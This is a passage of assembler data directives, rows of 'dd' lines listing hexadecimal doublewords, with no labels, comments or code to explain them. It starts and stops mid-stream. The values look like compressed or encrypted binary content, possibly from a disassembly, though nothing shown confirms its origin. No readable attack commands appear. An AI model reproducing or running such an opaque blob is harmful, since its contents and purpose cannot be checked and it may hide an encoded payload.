0C37DB49Bh, 853FAAB6h, 39309C06h dd 28697BAFh, 6449AEh, 0F8470A65h, 0DFA6A808h, 79D38512h dd 0E5EC40A0h, 570570h, 180DA8Ch, 0BA3B8A61h, 0F0445209h dd 0DE007535h, 0AE250FBh, 2E04A9B0h, 32332FA2h, 9DD044C1h dd 5030D4D9h, 1FA009D6h, 4600AE21h, 7BFD1470h, 0C2282FE8h dd 4C7CB0A3h, 273E4F07h, 0D2E5D759h, 0C1CA00ABh, 58B37EC6h dd 7FFF451Fh, 0FC1F1D17h, 57FD6501h, 0DCD0539Bh, 1A3F00C3h dd 0B1C76DA6h, 0C033CF48h, 37808B9h, 0A6218021h, 0FE830DEh dd 17A1BFAh, 0F5DDD20Bh, 7F9D0313h, 0FF44E0BFh, 3E6500ACh dd 81C322FDh, 0DFE8E64Ch, 693CFE00h, 7F801415h, 67F90E32h dd 0EF8C348Eh, 11012621h, 2CB81B15h, 9BE47FB5h, 0FF81C048h dd 533740BEh, 6CE6511Ch, 38DD288Dh, 39D8AB21h, 4B51211h dd 1B4700B7h, 2CC19647h, 1218EE7Ch, 0DF49D253h, 3C33011Dh dd 4A182ED3h, 710C4052h, 6F7CB1CFh, 0A1C4E706h, 120DEF5h dd 0E124A07Dh, 0B2C0C3AFh, 30ADD8E0h, 2810156Dh, 2AE31F80h dd 0CEC10FFh, 3A01D7B9h, 0AEC71F70h, 0CC414ABBh, 3CBE639h dd 8B617D89h, 5E01060h, 0B50ECA1Ch, 0B887A3F2h, 4052C198h dd 0A87978DFh, 0FE8E400h, 0E1A4EFB0h, 9EA1079Bh, 2410A7h dd 0BD0766C5h, 4D5D7112h, 1EDDF800h, 506F43h, 0EF41E052h dd 4C9E2289h, 3CF56C00h, 1667E181h, 0B47464h, 35793F42h dd 48EDDD3Eh, 0A93855FEh, 0C3B80045h, 0D104BE2Eh, 2FC0033h dd 69BA73C7h, 75E26E94h, 9CF9A80Fh, 9308E0F4h, 46C84Fh dd 0C7FD3832h, 0CE40D558h, 52921500h, 0E1A85C98h, 0F5CB0028h dd 0F2B7B584h, 11398EEBh, 24C500FCh, 0AA22D5D6h, 6E7E0026h dd 40394285h, 9AFEF799h, 53A52900h, 0BD44DB90h, 86C81F95h dd 0EC4900C9h, 9EFB2739h, 0F0FCBA7Ch, 130C41FDh, 8C9C0846h dd 0E821F642h, 44F99788h, 25844594h, 4F186986h, 6047FC9Bh dd 0C55EF718h, 19A0C048h, 2F3403B9h, 3E6B6A18h, 24605421h dd 6908E31h, 18C7C1BDh, 0A186821Dh, 3B573931h, 3C5CD2F8h dd 3401C450h, 6A42BB93h, 0E0D3F43Ah, 99F88319h, 0A02BA430h dd 8A1EB20h, 0D384E08Ch, 0E13C71C0h, 3CD2C147h, 9806E527h dd 0C99DBCA5h, 7C430608h, 4AE20A20h, 23AE80ACh, 0C7DCE6E7h dd 0A11F510Bh, 3F2303B1h, 55C684F7h, 0A8E90029h, 8D5BBC86h dd 0C41DA59Ch, 5A1B9BCEh, 8750F021h, 0CB801EEAh, 9CE7410Dh dd 11E1334Dh, 0CE87159Fh, 2F9DE3F0h, 0A741E4A3h, 0C51D90BEh dd 0F4C01C5Bh, 0CF3F05F7h, 0EB0F0076h, 95850693h, 16F8F8A5h dd 0C0B8BC51h, 0C4006FF6h, 5F4B969Dh, 15F8267Bh, 0AC93E992h dd 3F229A00h, 80701E30h, 4B97100Eh, 32774608h, 48C01F70h dd 31A85852h, 44008BFAh, 0E335202Eh, 0CC7D1BBCh, 5B219708h dd 0D3443402h, 0A399BBEEh, 0F84C89A8h, 3F98Dh, 0ACC12BC6h dd 0F25501A3h, 619653Fh, 49C1798h, 40C41CC8h, 8C33473Ah dd 15AEB0DFh, 0D8C02BA7h, 3EBCDA55h, 22B91CADh, 6429C051h dd 5F09F639h, 1D731700h, 0EAE54BB2h, 72F0A0h, 2E9BAA76h dd 0E1D53F71h, 0D7837700h, 0C598B569h, 16D900CCh, 683CDE49h dd 0ED0E94C6h, 0A17BF2B8h, 93DBCBBDh, 36AC044Fh, 10D2D830h dd 7CF34D40h, 0AB730092h, 122DD326h, 0E200C63Dh, 5F33EAE6h dd 140A0E5h, 0B26FE83Bh, 88211A73h, 4C8D929h, 0C50FB474h dd 67568082h, 0B7720CA4h, 3E00FD7Eh, 0F913451Ch, 1DD21EF2h dd 818B2188h, 0AF02969Bh, 73EE20B4h, 4B5DB707h, 0AE601832h dd 0F063545Ah, 0BF47070Ch, 27EBAB52h, 0BEC650CEh, 0CC1F55EDh dd 0A4809266h, 0F22BDF44h, 0E5BE622h, 3C721696h, 7860F560h dd 19059AB6h, 0F15D65Ah, 9D4B00FEh, 0ACFE1D0Dh, 1ACA2406h dd 389543h, 2C4E398Ah, 0F1D049A7h, 0AC50053Ch, 0CA1C0436h dd 47837D00h, 5402B3h, 74FC4855h, 3C636EB2h, 49240FF2h dd 0CA00B95Ch, 30DFF996h, 0B275002Eh, 52FB1E7Bh, 68C07D48h dd 0FD850CBh, 5AE300B7h, 0C4721BCFh, 0DA007385h, 11D36D8Eh dd 0ECB61Ch, 4A616ECBh, 408DFC0Ah, 3209700h, 78926FE5h dd 544400F0h, 7E32EFF1h, 5200CA16h, 0E7797288h, 1C4B6A02h dd 0C0A7B5E9h, 27A666BBh, 1028C08Eh, 0DF1889EBh, 0A31090DAh dd 74FB00E5h, 738DF02Ch, 873B71F2h, 8B80969Ch, 4D894900h dd 0C16D28h, 35AE6117h, 2999C967h, 1B56EC00h, 54E45F25h dd 6A09093Bh, 0AE008EC7h, 0C27414FAh, 383C3049h, 0D7D000DAh dd 0A3ADA23Dh, 0A9650040h, 0E0F1FFE5h, 7907A61Dh, 903516ACh dd 80BE56A0h, 0AF4400EDh, 0F173709Eh, 3100DACFh, 55C3E777h dd 6F25C7h, 1EA7D98Ch, 344CCC5Fh, 11972A01h, 0BCFFE0BDh dd 60FD789Ch, 8018A738h, 3527A451h, 303154DEh, 4DA2CB5h dd 0B43DDF2Ah, 291B8072h, 20C40623h, 0A47C00D9h, 0D608ECBBh dd 0DE00EAB5h, 0C0610F98h dd 98DF8E9Eh, 0CFD10073h, 39D92A10h, 80F926A0h, 4920C010h dd 0E53CA5h, 6C77F5F3h, 0A0AA12D6h, 3D070300h, 66465860h dd 5FC50C84h, 1EB0CB9Eh, 0F9D2FE00h, 0C8EE0F6Fh, 396000FCh dd 7ABA318h, 691D4D5Fh, 8B806AC6h, 7E928004h, 0B99D005Dh dd 0C230EDCBh, 0CD002E98h, 0BE8F2093h, 3299CEFh, 5F56571Ah dd 71E02BFEh, 0EA009FDDh, 1087EB2Ah, 370CD50h, 0D0553DA5h dd 68000BABh, 7F4E3E3Ah, 7C192Ch, 81CE9DC8h, 0AAEAAB51h dd 9E976500h, 13C9BC85h, 7AE40CBBh, 4E2184B0h, 3D9D8D00h dd 1EFCEB22h, 0DFE40090h, 0CB8EF2A7h, 0DD002998h, 2694F17Ah dd 5F3855h, 63D3D4E1h, 1646EAC3h, 173D39h, 2627191Bh, 727EB6BFh dd 0CDB26B4h, 51349868h, 7B01131Dh, 9AC4D833h, 0E0CE9094h dd 26AA01E5h, 800C6339h, 645F18EAh, 0F1F2DF52h, 45D76A00h dd 244AED1Fh, 62E640h, 0AEFC2B4h, 895B9DF7h, 188103Ah dd 21FD71A2h, 48EB8753h, 5A0048E0h, 0BB889594h, 0C41A12C0h dd 0F799B5A6h, 9C1C7B41h, 0BBC0A779h, 0E747EF9h, 3C5249FDh dd 1E0ACE83h, 928B05E8h, 55C0FE0Eh, 0DFFAE065h, 5199F57h dd 84EF40D7h, 13BFC0D5h, 74E88292h, 9448FC7Dh, 0CC508094h dd 0D49BB5h, 217CDF37h, 4F6F0A66h, 0D2FDB700h, 7F08A8A1h dd 0F578C02Bh, 769A9205h, 89685A00h, 0D0972F44h, 0CF5103DAh dd 4D5E86ACh, 0E11E0DD0h, 45E6BC00h, 7E8B814Fh, 0B0F35441h dd 841B0208h, 0C01F8A0Fh, 87E0086Bh, 3F3D6FFDh, 0DB3A0375h dd 48AF770h, 0CE6D7C66h, 0AE08D15Bh, 79500801h, 6B19013Bh dd 0E85CEDB4h, 30A88A29h, 0E6008E0Ah, 7170C7DDh, 0BE522842h dd 0E05700D0h, 0EEA44010h, 4E073F8h, 0B74D9802h, 0C0E783EBh dd 13F99A6Ch, 7529E9h, 0F049ED90h, 4F000214h, 0C4F6778Fh dd 91260A6Ah, 920F024Ch, 0DC805AF4h, 497C2DE0h, 661840B2h dd 9DF9E6E1h, 0A7D721Eh, 36B441F1h, 0EE1A01B8h, 872A5134h dd 16887EB8h, 13554990h, 0C2CF0089h, 9172A21Dh, 360E0EE8h dd 8086114Eh, 0F644E1E7h, 0D2733BEEh, 5D3AC8BEh, 0EFAA2285h dd 3CDC9093h, 28EE9FC0h, 2C4D1A24h, 48F8409Fh, 0BC5060Ah dd 3C886CE2h, 0F180D751h, 8E25B2CCh, 8D00AA39h, 9CBA06E4h dd 424C556h, 0E0ABD742h, 39F0D87Bh, 0C0DB4900h, 9660BB61h dd 18D89888h, 0F997BA12h, 240F9982h, 32E98F3Ah, 0D80E840Ah dd 54104C00h, 92CFEF20h, 3488006Ch, 981B4A5Fh, 0F6031C05h dd 77DB5D4h, 0EED014DDh, 24B01856h, 0E600E953h, 7CD4E1Ah dd 7E70FB2Ch, 0A1BE0A64h, 80B8F8E7h, 1E04224Dh, 1C060880h dd 0E9DD8248h, 7BC05A9h, 156AA2Ah, 700B5894h, 0AE60CE74h dd 3500915Fh, 6F49C65Dh, 924F9506h, 0FE671D48h, 23F2C0D0h dd 0C548E8EDh, 523DC616h, 0E40C1439h, 0F94B2B7h, 59E1BAC2h dd 69AE0940h, 0F33BA18Dh, 75128083h, 314D1F32h, 3A047A60h dd 3F800A2Dh, 0B4B80E4Bh, 1B00C5CAh, 499F756Dh, 0E7E28Eh dd 0BA10E453h, 0B0E6968Ah, 7418981Fh, 416D2000h, 3B4FADAh dd 0D6D92502h, 0A4D0C9E0h, 190058A9h, 0C64A9F8Ah, 0FE44BC2h dd 6CB16A80h, 0C0A23905h, 0EEF3398h, 0B5277E07h, 0C06FF78Bh dd 864A4B98h, 0C4C00FFCh, 1C008AD7h, 463A8812h, 0CFA7BC05h dd 0E0402A62h, 0CDA9040h, 0DC544896h, 6D84157Fh, 0D300C08Fh dd 0BD267172h, 0C400FFFBh, 3E929748h, 0AF252F3h, 9C08EE03h dd 4160058Ch, 0F5D3C276h, 0C056ECA5h, 14936A5Bh, 6E4DD31Fh dd 8792E345h, 85A090C7h, 9004BAh, 0C6E8CCAFh, 0A5F50A7Bh dd 0E9158A1Eh, 15B4B00h, 48FC99h, 0DAE77E38h, 0B2CDF41Ch dd 6C71F52Ch, 2149830Eh, 0D3BCB9CBh, 0C4BDD8h, 0A54F063Dh dd 306586CDh, 0D2E9E9C0h, 1C22879Fh, 258E0B3h, 0E1D768DBh dd 99F6DE00h, 2DF00003h, 0BE5FFF41h, 0D77BC42h, 3E40DC64h dd 40B9DC8Ch, 2700345Ah, 2B56EACCh, 1352414Fh, 4089A6F4h dd 0E80C23DCh, 34968AD1h, 7B801001h, 0B822F7EAh, 0B8D0F939h dd 5C3C90B6h, 48009043h, 678DC525h, 45205749h, 61271DA8h dd 0FEB401Eh, 0DD87A7Eh, 0EFB5D50Ch, 9190A1DBh, 2D7462C4h dd 0DA85AC60h, 32C9E9C1h, 0C026FA31h, 7A892081h, 538F051h dd 0BA4BB100h, 4F5E0F76h, 0C4F85DF1h, 0A48E2Ch, 3505B708h dd 0E780DA0h, 58D05600h, 0A560E514h, 617A60B0h, 0EB10F1DCh dd 0C931563Fh, 0E127052Ch, 8051B2h, 0EA5BBB1h, 2A08AB1Dh dd 5FA1FC3h, 9608C8FDh, 39DDF9FAh, 0D7BA14C1h, 4C288DBEh dd 0B4406788h, 0C00771h, 0F587C648h, 7901155Fh, 3D85950h dd 70253226h, 5AAEB500h, 0F8083153h, 2FE60CA1h, 6D8464Ch dd 0E06FB10Ch, 2CF7CA97h, 0FC9EF2h, 0BD4A09A4h, 0A100B750h dd 89B30471h, 5D95C106h, 812E18C2h, 0ACA1608Ch, 0B00FE33h dd 60B4D286h, 0CA09920h, 353C2784h, 0C4AEA288h, 11DCDE0Ch dd 3B1064h, 16F5D998h, 99F0BC51h, 5E8E7017h, 0F4C0F201h dd 0E2C47137h, 0C1692E1Ch, 0A1EE045Ch, 0E0CB72h, 64C55DB3h dd 0F65FB0h, 0E7BBE81Eh, 0D3BFD511h, 34912814h, 1F8C0790h dd 6A40F8F9h, 2728E9Ah, 0E2E33C49h, 0D0800638h, 78D96B35h dd 5B00C89Ah, 2FAF13CAh, 16C407EEh, 409476B8h, 0A93A5CF8h dd 471EB361h, 0AA8180CEh, 1618423Fh, 5CE003FFh, 0BE75EE53h dd 95ABCBB0h, 0F67A8E00h, 68A6BCB4h, 0C9EA00FCh, 0B7DD7678h dd 0AC92C7F8h, 2A005475h, 457F861Ah, 0B83CC94h, 0AB019D1h dd 0C792A825h, 80ACDA87h, 2E99A7E1h, 3DF8B2D6h, 0A2810B60h dd 0DE4A8Ch, 0ADC8FDEAh, 9FA94616h, 4D753E0Eh, 0B2638006h dd 0F1AB69EEh, 540E4024h, 695ACA1h, 0ACAC6F9h, 63E9947h dd 97CB89DEh, 6F10A3EBh, 50391D38h, 0EE30A078h, 973C30CCh dd 49E7003Fh, 0A3ECC0D5h, 393A01C5h, 428B00B6h, 5EF64DF5h dd 0AFD013FBh, 8D800037h, 26EA9770h, 0B48549h, 1F2C0B32h dd 0DDC62Dh, 0A7C5941Bh, 0C7D49763h, 4C90717Bh, 0B3A51100h dd 7F360BD7h, 67D0008Bh, 4352A05Bh, 217B9062h, 8A05A603h dd 0B0AB3C86h, 41AFD6h, 0AEFD7DDEh, 1A8CD799h, 0FB0705E6h dd 1C3B6AD8h, 4504BB0h, 2A0100D1h, 3A5FEE17h, 0C4030E4Fh dd 0F0E226E4h, 8A2FA794h, 2E00B0BBh, 4373599Dh, 0E1393D13h dd 0BC908E00h, 98BBA84Bh, 0E900009Ah, 0B66CAF44h, 0A0DED984h dd 0C109B3h, 0C3DB69C9h, 0C52E3D78h, 6CFE1000h, 0F9571AA6h dd 6E9600A9h, 5F4FC6E4h, 0F104A8BCh, 42316DBFh, 18D447C0h dd 60FE23h, 40070A16h, 0E78AE81h, 8735A000h, 2DF5D625h dd 5C0D0064h, 72CACC76h, 0EC00CD1Eh, 0EA8FC656h, 105948h dd 0C8465D19h, 1AD31899h, 4CC9BB00h, 0F4840FD8h, 29A80108h dd 218068F1h, 0B8CDC8FBh, 0CF029804h, 8022A7h, 7AAB648h dd 0D264BDA9h, 5461306Fh, 420F1BA8h, 87624413h, 4B204023h dd 2AB09D9h, 3763D3C1h, 5CE05036h, 27017961h, 0F675A2DCh dd 0E8DCC8BBh, 4BA600EDh, 87C28D6Ah, 0C500E399h, 0C923DED5h dd 17FFD7Eh, 4A43D9ECh, 0CC4CA147h, 0F30381F1h, 14D5CB3Ch dd 9309A891h, 0F6C10117h, 7AC696F4h, 5F0BD032h, 58F558h dd 785A3876h, 0F13E4Ch, 2EB7FFA1h, 52F7029Ch, 0FC042700h dd 0B5636B89h, 751D007Ch, 0BFE784F3h, 3607B79Dh, 9B2DB47Ah dd 205BA590h, 0D50E0BB6h, 8B8138C5h, 64223F52h, 11032C98h dd 0FF9BC7Ch, 0C9E3C057h, 33145896h, 48803C3Eh, 4A569482h dd 8AE2CA0Fh dd 9217A778h, 700AE21h, 0ED7F7063h, 0CCDD0050h, 0D857B956h dd 0FB0910CFh, 0C0D2C819h, 49BEA4FCh, 1F01D489h, 0E12410FDh dd 755474F3h, 0D5BB8600h, 0E4B74A71h, 0C0CF070Bh, 61B8FC19h dd 0CC3CD24Bh, 0A600F267h, 0C4BA638Bh, 77BFD9Dh, 944DEA57h dd 12B305Ch, 0A9033829h, 0B4B2EBA2h, 249283FFh, 0A480E8h dd 0B5E73EE0h, 4300888Ah, 3B8698E8h, 78E5FC0h, 0CE3AE696h dd 0FDBB608Bh, 0C500689Fh, 8F655A78h, 1D39513h, 0AE5954C4h dd 0CF7536BAh, 0F657E804h, 1B41D1B9h, 0F0ACD786h, 3000C065h dd 0B59DAA41h, 0FFBA75Bh, 9ABD1188h, 3D946B80h, 2C033F7Ch dd 4B427108h, 3AC5C0EEh, 0AED0BF77h, 0FAE4BC00h, 34EFD3DFh dd 0A05F059Dh, 819308E2h, 0C054561Ah, 48C17077h, 99E735Eh dd 0DF41DCh, 0C88E63C6h, 1B9B4411h, 0AD064000h, 1B2B70Ch dd 46FC0E5Bh, 3E60CC43h, 3A7F6732h, 2514971Ch, 0E4C2DE40h dd 16019C17h, 0D67A38h, 6434C75Fh, 3A710714h, 35074E76h dd 7AEF7645h, 0AD10E9C1h, 9F750E8h, 71AC3E8Eh, 0B72EDC00h dd 0A25C6E2Ch, 0B8EA007Dh, 0FF900DAAh, 9A70059h, 209C2754h dd 4F0B52CAh, 631607CDh, 0D3F198BCh, 1FA12C7Eh, 11E38038h dd 23015DB2h, 5A048272h, 24287841h, 565BB8C7h, 51560714h dd 666C908Fh, 1C281372h, 8B2E080Fh, 0C824BCBAh, 0B6257900h dd 251CFA54h, 60002886h, 0EAA6124Ah, 1E904000h, 395A0881h dd 3CCA5C61h, 9138E001h, 0BC11E8B5h, 8FD00030h, 552BF004h dd 0F790ACh, 7CCBD62Ch, 8936CC4Eh, 48902E05h, 96815EFEh dd 284859F7h, 26913C08h, 0C530F601h, 50DEA2B5h, 0FE65C80h dd 5504BC07h, 3E8392C8h, 0E01100E5h, 791E502Fh, 0CC054BF6h dd 0A89E5149h, 2AC5D0D7h, 42966800h, 74EEA901h, 4AA7003Fh dd 4B40A89Bh, 0B2019C2Fh, 0DC5EC3D0h, 1CF0DE42h, 6C9A1847h dd 0AC72A174h, 633A7300h, 1819E289h, 6A763DA9h, 0A90BF498h dd 0D97BB949h, 0E0350A00h, 2169FA39h, 0E3EE30A6h, 4A1422C6h dd 0A1D1B11Eh, 709A4C03h, 32A8010Eh, 0C87564F3h, 7A2DF0C5h dd 4DE53Eh, 0A59C47C1h, 0C7DE3Bh, 2F9AD45Ch, 0F2724C03h dd 0B9CFE31Dh, 3DE81483h, 48A5980Ch, 53601D91h, 9B154A2Ah dd 1A178284h, 34403AF6h, 9E057458h, 94D9E746h, 90434184h dd 0F0455D4Dh, 5E2978h, 22141230h, 63E6E37Dh, 705AC1F1h dd 640E01A5h, 98708546h, 1CE5310h, 9AE1D50Bh, 8CF9CCA9h dd 20664B09h, 3E0BFCB3h, 0BE8C4C65h, 0FC39602Fh, 1A341001h dd 173E846Ah, 304138C0h, 0EBA842F2h, 0B8005CD1h, 0FBFF4EE3h dd 0D127382h, 59BCA617h, 33C4E040h, 0F3E83600h, 0DD7F7162h dd 8F08CC3Bh, 3A009B21h, 9E0F5936h, 189594AEh, 8074CF50h dd 0D30012F8h, 7F4713F0h, 0F8737B81h, 1C577F55h, 0F0292E2h dd 1340F4BFh, 2CAF36FAh, 85050404h, 0F0005D78h, 0BFA3E8CDh dd 64A05103h, 0D069D112h, 3F31CE99h, 3C02FEE4h, 0F4977395h dd 0C0CD3C85h, 85F253C1h, 0DB7D5901h, 0D2314D73h, 0B9948BE5h dd 9060C395h, 0B29BB767h, 0F9F77B00h, 97A655ABh, 5287155Ah dd 952FA47Eh, 75C20C0h, 57853718h, 0F6872B19h, 9D1800CBh dd 0BC7AD0A6h, 59006E5Eh, 0C31F7688h, 0D711EDh, 0BDDD8FA4h dd 51861999h, 6218D0A4h, 0E9897EDEh, 0CAC1C0A4h, 60E319A8h dd 4F31D600h, 6323F8AFh, 7DA90C6Dh, 763077C9h, 0A33FBE07h dd 5A21C150h, 8951191h, 0D800B47Ah, 36C63FAAh, 6061F9D2h dd 4620DDF9h, 309CA4E4h, 10891C30h, 2E035EFDh, 0D89E4DCAh dd 0F385EB8Eh, 0A139E6F4h, 0ED19BC0Ch, 75C56B36h, 20900C62h dd 0C63634F1h, 4E75D00h, 0D5721441h, 0CE953145h, 600E9EC1h dd 0E7F248E8h, 8E018100h, 0DC6726B7h, 2CC7FA36h, 0CB1169h dd 2B20C4Eh, 5D091840h, 21798CBDh, 951D6610h, 36E6C4h dd 0E07F50C3h, 720EEF04h, 19DC893Ch, 64901845h, 74E7E520h dd 31303766h, 857C541h, 0F8CBA8ACh, 0A9502B72h, 208011ACh dd 69CF00D1h, 0C4194B15h, 95189944h, 16207643h, 85E703AFh dd 66F8D239h, 0C4066928h, 0B0885BF8h, 31856F38h, 0B1AE2C00h dd 0B912B803h, 804067E9h, 0E7CAC45Ch, 73F20334h, 30870B2Ah dd 9E8BABBh, 9F0EF605h, 40579606h, 63A3FBE7h, 6461CE31h dd 0CB3AD8A4h, 65A8C424h, 4E1DEF30h, 53D81900h, 63B869E7h dd 54AE49DEh, 4CFA870Ch, 8D6080D9h, 0DD9B1A71h, 18831686h dd 0C1F80007h, 53375223h, 1E76A998h, 0F363CD15h, 0FE0F7B50h dd 6834DB6h, 1F6018A7h, 4302FDE9h, 9EDB7C64h, 0F405ED90h dd 0F0919573h, 13E47000h, 3B737C11h, 52864DFDh, 0F0DA75C1h dd 0A5023B46h, 0A2E1BE0Ah, 21BE6E31h, 470B17FAh, 347103ADh dd 481F940Eh, 0D081DDDBh, 0AF825E65h, 66EE788Ah, 2F8180CCh dd 12E343EDh, 6BA05000h, 0C2537C5Eh, 889324E5h, 0D5958014h dd 3D26F23Fh, 4800247Ah, 2B22E8FCh, 50BFE485h, 245F8064h dd 49047E81h, 41824C06h, 9AC44F05h, 0AFE0D4AEh, 7433040Bh dd 0AB98E06Eh, 3E4C9903h, 94B03868h, 0FD503Ah, 99D837CDh dd 67902C65h, 0FD649AC4h, 0FF300C8h, 6163DC2Dh, 6774B180h dd 0FB3C982Ch, 3950018Ah, 0D0FFCC80h, 2494E8h, 7A5764ECh dd 9907475Bh, 0A60025FCh, 3316265h, 0D3DE73h, 6C2D2985h dd 0CA05C6D8h, 20432700h, 0B03E6D76h, 4C4FE224h, 7A119Ah dd 0D0B65712h, 0F3849083h, 3C445000h, 0C8A9CFD4h, 0BE5D0687h dd 2817E0C6h, 0A233CA00h, 88111E6Fh, 9ED41FBFh, 93A50075h dd 56AAFD16h, 87C15700h, 0F67CAEFCh, 30EF6E8h, 0BAA20CDAh dd 0E4C86B68h, 21002774h, 0F8538637h, 183648EBh, 195F2CF3h dd 9700343Eh, 16296AABh, 0AC49ADh, 189B4492h, 37986FC1h dd 4AC6C70Ch, 1A2990Bh, 0B0C5BC4Bh, 9FD9BB88h, 6A586F70h dd 26CEDBA8h, 2413364Bh, 40A61FC3h, 0D67B7127h, 0CA07B57Ch dd 0CB286C13h, 93165740h, 96AA003Ah, 0CF0CCE2Fh, 0E6006E71h dd 642CE16Bh, 0C330568Bh, 32A43D58h, 67CACBF8h, 6899E607h dd 44B1E2F7h, 0DCC47828h, 342F1CEAh, 0AA003D8Eh, 8B141943h dd 1252D5A3h, 4CA0FE04h, 0EC007DD7h, 5A86154Fh, 0C329EA4Ah dd 738B4820h, 31001DEBh, 53E5D2F2h, 310E5F9Ah, 0B60993D8h dd 5220828Ah, 600AE47Bh, 7162C35Eh, 0A24D0009h, 0A4EFAA8Bh dd 6E1D34EEh, 8130BA74h, 1FA6D23Ch, 39C4E55Dh, 0EDABF106h dd 0F03711Eh, 0C7A880F6h, 0B1310322h, 0D529E79h, 7B61ACE0h dd 15C57F11h, 566ADC00h, 5A521349h, 9562E702h, 0C0EAE4CAh dd 0DFA83E83h, 0CED100B1h, 26953275h, 3840D201h, 36A8073Ch dd 0AFFE698Ah, 16D48090h, 0B2D19BBCh, 1994B901h, 777B9D8Dh dd 448B5085h, 0BDA440FAh, 18998FAEh, 74E70B00h, 6A50476Bh dd 0C060ADEh, 0C4001E6h, 7B6937BBh, 22803F07h, 0AE104A19h dd 711AFC8Eh, 539F072Fh, 3345AC6Dh, 0D8A8810Ah, 3B1D387Ch dd 20061551h, 7811A5h, 0C4CE5D75h, 2768D921h, 70D64F00h dd 8B0FD0CDh, 184176F3h, 31A0C6CEh, 0DB13F635h, 80034F76h dd 7F5E5697h, 20136008h, 6BDC2A0Ch, 28686100h, 0FC80DB54h dd 0A79E00A8h, 1C387FAAh, 4B2A5A35h, 0BB78FCEFh, 4AB3D1C0h dd 7BFB4C5h, 0A7924257h, 5B198093h, 5905C809h, 288F20F5h dd 1445F280h, 0D6CD2806h, 0EEC318A0h, 4B9751EDh, 0D3813E00h dd 5FCC9FA9h, 0D6660025h, 0CE868402h, 3D00A1FFh, 0BC833FB3h dd 0FC9DFE3h, 0D15D3A7Eh dd 701021A9h, 5A28561Dh, 0F8000851h, 52E6A1D2h, 0C35043D1h dd 0B12505F1h, 0F5A6409Fh, 1600539Ah, 79233E62h, 244802C5h dd 12282F07h, 341020BBh, 54007A17h, 836EDDCFh, 8A14DEh dd 3E88D2F1h, 0EEF72F92h, 0AF7DEB00h, 5B05119Eh, 0C39CA02Eh dd 83E844EDh, 6BDB1B00h, 0CBB2738h, 0B2E4E992h, 253C02D8h dd 0C6B13481h, 10713044h, 6B9D3Dh, 3DD2A444h, 738F34h dd 4C6C303Fh, 93CE2AB8h, 9044BAECh, 0E3DD07F5h, 60B39F89h dd 5B20F9E5h, 968A8002h, 4C5E9EEBh, 0B51D1A18h, 6CB038B4h dd 9A0020DCh, 70712958h, 95FB92h, 0C979A872h, 822E23DAh dd 78BF804h, 0FE463BA7h, 870049A6h, 0BD916803h, 1321A7Dh dd 9DF0630Dh, 2023B32Fh, 0CD244304h, 0A2C050D2h, 464EAADCh dd 2C142296h, 0A36610h, 2432373Bh, 252952E0h, 3EE844h dd 218E3982h, 90436BFDh, 0EB853E60h, 6D235680h, 44DDE419h dd 3BE1BCFFh, 2B880CBh, 0D7A45F8Dh, 1AFF801h, 651406Fh dd 0C8C8E242h, 3744BAB5h, 0E4731E50h, 1BBD005Fh, 0B3209735h dd 0E2240B00h, 913F4E4Ch, 8D5B24C4h, 8BC4386Ch, 0A698AD00h dd 59CD10C5h, 0DF600ABh, 0AED6BAA4h, 3A008A90h, 0B33565BEh dd 1323C29h, 0FAFB1088h, 0E09DA999h, 0C3482CB4h, 580096BCh dd 0A8FAEA42h, 0F79A0051h, 2946031Ah, 0C7000513h, 1C4424B2h dd 2FA232h, 0A9938996h, 0C3F611B1h, 1B785602h, 4166BDDCh dd 18100988h, 23EBF62h, 12A801E0h, 0B8C0B98Ch, 2F5B026Ah dd 0DC871D07h, 0EC98D99Dh, 0E360C573h, 2E968299h, 0C2EAFFh dd 8EB74E14h, 0CEEC926Bh, 35416507h, 2C64166Dh, 1B4CCh dd 0BEDE9761h, 0B6498E89h, 2091CC00h, 22FECE0Ch, 427E00EAh dd 0E660A16Bh, 0BC24123Ah, 0A76F3440h, 6CD0135Fh, 24A4E43Dh dd 6B447F6h, 0B01C4F10h, 0E2939E2Eh, 34EFF405h, 0FDD58003h dd 0F306E95Bh, 0A3B030h, 0CF4F24EDh, 0EEFB01Ch, 0CB351913h dd 42085043h, 6E6DA94Bh, 92A42C20h, 14BC3B58h, 88F3B980h dd 0B21C933h, 0EE888150h, 3CC75B88h, 0E900CBB8h, 0D385EC6Dh dd 380E6570h, 9DF8E7CFh, 0BA7E43C1h, 7F00A32Ch, 41072FDBh dd 0C8E40E14h, 0FD630581h, 0A855A1CCh, 56D5D4h, 3F6A7AB7h dd 7651D906h, 88B5FE2Ah, 170F9B01h, 1F3A7049h, 0FF1B88FFh dd 86713A2Dh, 0A279A580h, 54FDB46Bh, 0A1FE3218h, 4C278F39h dd 6A000F5Eh, 0ACB12A85h, 0BE07A3C8h, 9FDFA03Bh, 7BF33230h dd 0A092CAh, 40199253h, 0E234B77Ch, 86571018h, 24289CC9h dd 160F243h, 369F1DD6h, 75388ECDh, 5A93A042h, 58DA69D9h dd 756C02h, 0B99B5823h, 0A9A7D0C8h, 0B8502700h, 1E8F7534h dd 0D78C0743h, 407ECC12h, 4FC8EE69h, 597438C1h, 87CBA238h dd 0C1E0F89h, 14CD49A8h, 0FCCF1F0Eh, 0D1A58D02h, 18937579h dd 4E2E6DA0h, 0B30CDE0Ch, 0F8EC11Eh, 56574C4Fh, 5AE101C0h dd 0A8005F6Ah, 5542F93h, 1238373Ch, 299060h, 0A662A018h dd 2C007E9Ch, 882F81E3h, 16A7CE50h, 0C13FBA1h, 22B87300h dd 1475FAF2h, 3C95BD05h, 9C08E9ABh, 0A286BE21h, 11870C90h dd 24AC8B0Fh, 89E4025Fh, 0D06C1Bh, 9DBE33E5h, 77E9B4F7h dd 0B9930700h, 917B3717h, 41DB1640h, 2066168Bh, 0E55CF2ACh dd 6F9A750Bh, 0EAE49909h, 0E5A50C10h, 7881D226h, 3AC80106h dd 0FFC0089h, 6936B546h, 0D4032E7Ch, 0C637271h, 43C38C55h dd 5090947Bh, 0D4653h, 4FAE3D4h, 96976EB2h, 19564E00h dd 38FF4BE5h, 995A0724h, 0D6A16451h, 327DA11Fh, 6CA01E90h dd 80FF72E0h, 0F1715E18h, 308D2C60h, 0B490B2CBh, 490AD69Ch dd 88CE2638h, 0D2858F81h, 0D83354A8h, 8000113Eh, 0CCC74348h dd 1500F6BCh, 8A9B538Ch, 170BD94Dh, 1E6D4B8Bh, 2B002120h dd 5AC1DD06h, 5DFA3A6Ch, 77AC3E85h, 67508092h, 261D29C7h dd 7B0CA7A0h, 2039D0h, 0D1C63E60h, 3848406Bh, 0D94BB000h dd 0B376F280h, 30C8644Ch, 0C96F40FEh, 0B572CCh, 5954B5Ch dd 903F9E5Dh, 17222A03h, 0D8105038h, 7CB5275h, 65BE036h dd 